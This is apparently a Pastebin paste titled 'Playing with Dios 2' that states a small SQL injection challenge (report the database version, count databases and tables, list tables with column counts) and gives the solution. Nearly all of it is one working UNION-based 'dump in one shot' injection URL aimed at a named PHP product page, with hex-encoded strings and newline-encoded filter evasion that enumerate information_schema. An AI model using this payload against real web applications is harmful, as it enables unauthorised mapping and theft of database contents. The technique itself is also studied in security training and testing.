Saint92

Playing with Dios 2

Feb 24th, 2016
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. Task & rules
  2. ¤display version with your name
  3. ¤display total number of databases
  4. ¤display total number of tables (without those in information_schema)
  5. ¤display all table names (excluding those from information_schema) and columns count for each table
  6.  
  7. solution......
  8.  
  9. http://www.vuln.fr/pages /produit.php?id=55 and 0 UNION SELECT 1,2,3,4,5,6,7,8,9,concat(0x3c62723e,version(),0x203a3a20616a6b61726f,0x3c62723e746f74616c206e756d626572206f66206461746162617365733a20,(select count(*) %0Afrom information_schema.schemata),
  10. 0x3c62723e746f74616c206e756d626572206f66207461626c657320696e206461746162617365732028776974686f757420696e666f726d6174696f6e5f736368656d61293a20,(select count(*) %0afrom information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61),
  11. (select(@x)%0afrom(select(@x:=0x00),(select(0)%0afrom(information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in
  12. (@x:=concat(@x,0x3c62723e,0x7461626c653a20,@tbl:=table_name,
  13. 0x202d2d3e20636f6c756d6e733a20,(select(count(*))%0Afrom(information_schema.columns)where(table_name=@tbl))x)
  14. ),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46-- -
  15.  
  16. #Ajkaro
Advertisement
Add Comment
Please, Sign In to add comment